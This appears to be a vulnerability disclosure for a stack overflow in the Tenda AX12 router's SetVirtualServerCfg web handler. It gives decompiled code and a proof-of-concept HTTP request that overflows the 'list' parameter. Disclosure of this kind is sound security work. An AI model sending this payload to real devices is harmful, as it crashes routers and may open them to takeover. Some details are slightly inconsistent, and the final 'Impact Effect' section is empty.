

Overview:

Affected Device: Tenda AX12 V1.0

Affected Firmware Version: V22.03.01.46

Impact: Denial of Service (DoS) attack, stack overflow leading to potential root shell access.

Firmware download link: <https://www.tenda.com.cn/download/detail-3621.html>



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The vulnerability is located in `/goform/SetVirtualServerCfg` where the request parameter `list` does not have a length restriction, ultimately leading to a stack overflow. The vulnerable function `sub_43B1B4` is present in the `httpd` file.

```
79 sub_40A144((int) "SetDMZCfg", (int)sub_43AE90);
80 sub_40A144((int) "GetDMZCfg", (int)sub_43AD78);
81 sub_40A144((int) "SetVirtualServerCfg", (int)sub_43B1B4); // vuln
82 sub_40A144((int) "GetVirtualServerCfg", (int)sub_43B240);
83 sub_40A144((int) "GetStaticRouteCfg", (int)sub_43B748);
```

The vulnerability exists in `sub_43AF3C` :

```
1 int __fastcall sub_43B1B4(int a1)
2 {
3     int v3[4]; // [sp+1Ch] [-18h] BYREF
4
5     memset(v3, 0, sizeof(v3));
6     blob_buf_init((int)v3, 0);
7     sub_43AF3C(a1, v3); // vuln
```

As we can see, the request parameter `list` is passed to the variable `v3`, and since there is no length restriction on the variable `v3`, the subsequent `sscanf` function separates the value of `v3` using commas as delimiters and assigns them to `v12`, `v11`, `v10`, `v9`. These variables only require a certain length of padding to cause a stack overflow, which can easily lead to a denial of service attack. Furthermore, by constructing a suitable exploit, it is possible to gain shell access. The vulnerability is depicted in the following image:

```
1 int __fastcall sub_43AF3C(int a1, int a2)
2 {
3     char *v3; // $s1
4     _BYTE *v4; // $v0
5     char *v5; // $s6
6     int v6; // $s1
7     int v8; // $s1
8     int v9[2]; // [sp+24h] [-2Ch] BYREF
9     int v10[2]; // [sp+2Ch] [-24h] BYREF
10    int v11[2]; // [sp+34h] [-1Ch] BYREF
11    int v12[4]; // [sp+3Ch] [-14h] BYREF
12
13    memset(v12, 0, sizeof(v12));
14    v9[0] = 0;
15    v9[1] = 0;
16    v10[0] = 0;
17    v10[1] = 0;
18    v11[0] = 0;
19    v11[1] = 0;
20    v3 = sub_415C94(a1, "list", (int)");
21    printf("get_route_info_wp list:%s\n", v3);
22    if ( (unsigned int)strlen(v3) < 5 )
23        return -1;
24    while ( 1 )
25    {
26        v4 = (_BYTE *)strchr(v3, 126);
27        v5 = v4 + 1;
28        if ( !v4 )
29            break;
30        *v4 = 0;
31        if ( sscanf(v3, "%[^,],%[^,],%[^,],%s", v12, v11, v10, v9) == 4 )// stack overflow
32            continue;
33    }
```

POC:

```
POST /goform/SetVirtualServerCfg HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 23
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: 192.168.122.15
Origin: http://192.168.122.15
Proxy-Connection: keep-alive
Referer: http://192.168.122.15/index.html
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/115.0.5790.171 Safari/537.36
X-Requested-With: XMLHttpRequest
```

```
list="a"*0x2000
```

Impact Effect:

